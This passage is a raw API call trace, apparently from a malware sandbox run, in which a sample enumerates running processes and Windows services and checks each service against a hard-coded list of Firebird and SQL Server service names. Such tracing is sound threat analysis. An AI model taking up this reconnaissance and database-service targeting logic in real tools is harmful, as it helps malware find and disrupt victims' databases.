lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="movers-indication.exe")) returned 1 [0162.018] lstrlenW (lpString="movers-indication.exe") returned 21 [0162.018] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="drama tv thee.exe")) returned 1 [0162.019] lstrlenW (lpString="drama tv thee.exe") returned 17 [0162.021] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="barriers.exe")) returned 1 [0162.021] lstrlenW (lpString="barriers.exe") returned 12 [0162.022] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="shootclick.exe")) returned 1 [0162.022] lstrlenW (lpString="shootclick.exe") returned 14 [0162.022] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x200, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel.exe")) returned 1 [0162.023] lstrlenW (lpString="nickel.exe") returned 10 [0162.023] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="imperialopened.exe")) returned 1 [0162.024] lstrlenW (lpString="imperialopened.exe") returned 18 [0162.024] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="russell indonesian fo.exe")) returned 1 [0162.025] lstrlenW (lpString="russell indonesian fo.exe") returned 25 [0162.025] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blood popularity orbit.exe")) returned 1 [0162.025] lstrlenW (lpString="blood popularity orbit.exe") returned 26 [0162.026] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="perhapssentences.exe")) returned 1 [0162.026] lstrlenW (lpString="perhapssentences.exe") returned 20 [0162.026] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0162.027] lstrlenW (lpString="dllhost.exe") returned 11 [0162.027] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0162.028] lstrlenW (lpString="svchost.exe") returned 11 [0162.028] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0162.029] lstrlenW (lpString="chrome64b.exe") returned 13 [0162.029] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0162.030] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0162.030] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd20, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.031] lstrlenW (lpString="conhost.exe") returned 11 [0162.031] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0162.031] lstrlenW (lpString="cmd.exe") returned 7 [0162.032] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb64, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0162.032] lstrlenW (lpString="conhost.exe") returned 11 [0162.032] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0162.033] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0162.033] Process32NextW (in: hSnapshot=0x358, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0162.034] CloseHandle (hObject=0x358) returned 1 [0162.034] Sleep (dwMilliseconds=0x1f4) [0162.559] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ce8e8 [0162.559] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 0 [0162.559] GetLastError () returned 0xea [0162.559] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1edc) returned 0x881c38 [0162.560] EnumServicesStatusExW (in: hSCManager=0x7ce8e8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x881c38, cbBufSize=0x1edc, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x881c38, pcbBytesNeeded=0x256ff3c, lpServicesReturned=0x256ff54, lpResumeHandle=0x0) returned 1 [0162.560] CloseServiceHandle (hSCObject=0x7ce8e8) returned 1 [0162.561] lstrlenW (lpString="Appinfo") returned 7 [0162.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0162.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0162.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0162.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0162.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0162.561] lstrlenW (lpString="AppXSvc") returned 7 [0162.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0162.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0162.561] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0162.561] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0162.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0162.561] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0162.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0162.561] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0162.561] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0162.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0162.561] lstrlenW (lpString="Audiosrv") returned 8 [0162.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0162.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0162.561] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0162.561] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0162.561] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0162.561] lstrlenW (lpString="BFE") returned 3 [0162.561] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0162.561] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0162.561] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0162.561] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0162.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0162.562] lstrlenW (lpString="BITS") returned 4 [0162.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0162.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0162.562] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0162.562] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0162.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0162.562] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0162.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0162.562] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0162.562] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0162.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0162.562] lstrlenW (lpString="CDPSvc") returned 6 [0162.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0162.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0162.562] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0162.562] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0162.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0162.562] lstrlenW (lpString="ClickToRunSvc") returned 13 [0162.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0162.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0162.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0162.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0162.562] lstrlenW (lpString="ClipSVC") returned 7 [0162.562] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0162.562] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0162.562] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0162.562] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0162.562] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0162.562] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0162.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0162.563] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0162.563] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0162.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0162.563] lstrlenW (lpString="CryptSvc") returned 8 [0162.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0162.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0162.563] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0162.563] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0162.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0162.563] lstrlenW (lpString="DcomLaunch") returned 10 [0162.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0162.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0162.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0162.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0162.563] lstrlenW (lpString="DeviceAssociationService") returned 24 [0162.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0162.563] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0162.563] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0162.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0162.563] lstrlenW (lpString="Dhcp") returned 4 [0162.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0162.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0162.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0162.563] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0162.563] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0162.563] lstrlenW (lpString="Dnscache") returned 8 [0162.563] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0162.563] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0162.563] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0162.564] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0162.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0162.564] lstrlenW (lpString="DoSvc") returned 5 [0162.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0162.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0162.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0162.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0162.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0162.564] lstrlenW (lpString="DPS") returned 3 [0162.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0162.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0162.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0162.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0162.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0162.564] lstrlenW (lpString="DusmSvc") returned 7 [0162.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0162.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0162.564] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0162.564] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0162.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0162.564] lstrlenW (lpString="EventLog") returned 8 [0162.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0162.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0162.564] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0162.564] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0162.564] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0162.564] lstrlenW (lpString="EventSystem") returned 11 [0162.564] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0162.564] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0162.564] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0162.564] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0162.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0162.565] lstrlenW (lpString="FontCache") returned 9 [0162.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0162.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0162.565] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0162.565] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0162.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0162.565] lstrlenW (lpString="gpsvc") returned 5 [0162.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0162.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0162.565] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0162.565] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0162.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0162.565] lstrlenW (lpString="iphlpsvc") returned 8 [0162.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0162.565] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0162.565] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0162.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0162.565] lstrlenW (lpString="KeyIso") returned 6 [0162.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0162.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0162.565] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0162.565] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0162.565] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0162.565] lstrlenW (lpString="LanmanServer") returned 12 [0162.565] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0162.565] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0162.565] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0162.566] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0162.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0162.566] lstrlenW (lpString="LanmanWorkstation") returned 17 [0162.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0162.566] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0162.566] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0162.566] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0162.566] lstrlenW (lpString="lfsvc") returned 5 [0162.566] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0162.566] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0162.569] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0162.569] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0162.569] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0162.569] lstrlenW (lpString="LicenseManager") returned 14 [0162.569] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LicenseManager") returned -1 [0162.569] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LicenseManager") returned -1 [0162.569] lstrcmpiW (lpString1="sqlwriter", lpString2="LicenseManager") returned 1 [0162.569] lstrcmpiW (lpString1="mssqlserver", lpString2="LicenseManager") returned 1 [0162.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LicenseManager") returned 1 [0162.570] lstrlenW (lpString="lmhosts") returned 7 [0162.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0162.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0162.570] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0162.570] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0162.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0162.570] lstrlenW (lpString="LSM") returned 3 [0162.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0162.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0162.570] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0162.570] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0162.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0162.570] lstrlenW (lpString="MpsSvc") returned 6 [0162.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0162.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0162.570] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0162.570] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0162.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0162.570] lstrlenW (lpString="NcbService") returned 10 [0162.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0162.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0162.570] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0162.570] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0162.570] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0162.570] lstrlenW (lpString="netprofm") returned 8 [0162.570] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0162.570] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0162.571] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0162.571] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0162.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0162.571] lstrlenW (lpString="NlaSvc") returned 6 [0162.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0162.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0162.571] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0162.571] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0162.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0162.571] lstrlenW (lpString="nsi") returned 3 [0162.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0162.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0162.571] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0162.571] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0162.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0162.571] lstrlenW (lpString="PcaSvc") returned 6 [0162.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0162.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0162.571] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0162.571] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0162.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0162.571] lstrlenW (lpString="PlugPlay") returned 8 [0162.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0162.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0162.571] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0162.571] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0162.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0162.571] lstrlenW (lpString="Power") returned 5 [0162.571] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0162.571] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0162.571] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0162.571] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0162.571] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0162.571] lstrlenW (lpString="ProfSvc") returned 7 [0162.572] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0162.572] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned 